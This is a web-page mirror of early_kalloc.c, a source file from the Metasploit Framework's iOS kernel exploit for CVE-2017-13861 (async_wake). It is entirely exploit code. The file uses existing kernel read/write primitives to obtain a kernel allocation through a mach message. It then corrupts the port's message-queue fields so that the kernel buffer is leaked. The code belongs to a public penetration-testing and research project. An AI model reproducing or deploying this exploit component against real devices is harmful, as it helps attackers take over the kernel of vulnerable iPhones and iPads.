CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/early_kalloc.c
Views: 11780
1
//
2
// early_kalloc.c
3
// async_wake_ios
4
//
5
// Created by Ian Beer on 12/11/17.
6
// Copyright © 2017 Ian Beer. All rights reserved.
7
//
8
9
#include "early_kalloc.h"
10
11
#include <mach/mach.h>
12
#include <stdio.h>
13
#include <stdlib.h>
14
15
#include "kmem.h"
16
#include "koffsets.h"
17
#include "kutils.h"
18
#include "find_port.h"
19
#include "common.h"
20
21
#include <CoreFoundation/CoreFoundation.h>
22
extern void NSLog(CFStringRef, ...);
23
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
24
25
// get a kalloc allocation before we've got a kcall interface to just call it
26
uint64_t early_kalloc(int size)
27
{
28
mach_port_t port = MACH_PORT_NULL;
29
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
30
if (err != KERN_SUCCESS) {
31
LOG("unable to allocate port");
32
}
33
34
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
35
36
struct simple_msg {
37
mach_msg_header_t hdr;
38
char buf[0];
39
};
40
41
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
42
struct simple_msg* msg = malloc(msg_size);
43
memset(msg, 0, msg_size);
44
45
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
46
msg->hdr.msgh_size = msg_size;
47
msg->hdr.msgh_remote_port = port;
48
msg->hdr.msgh_local_port = MACH_PORT_NULL;
49
msg->hdr.msgh_id = 0x41414142;
50
51
err = mach_msg(&msg->hdr,
52
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
53
msg_size,
54
0,
55
MACH_PORT_NULL,
56
MACH_MSG_TIMEOUT_NONE,
57
MACH_PORT_NULL);
58
59
if (err != KERN_SUCCESS) {
60
LOG("early kalloc failed to send message");
61
}
62
63
// find the message buffer:
64
65
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
66
LOG("message buffer: %llx", message_buffer);
67
68
// leak the message buffer:
69
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
70
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
71
72
return message_buffer;
73
}
74
75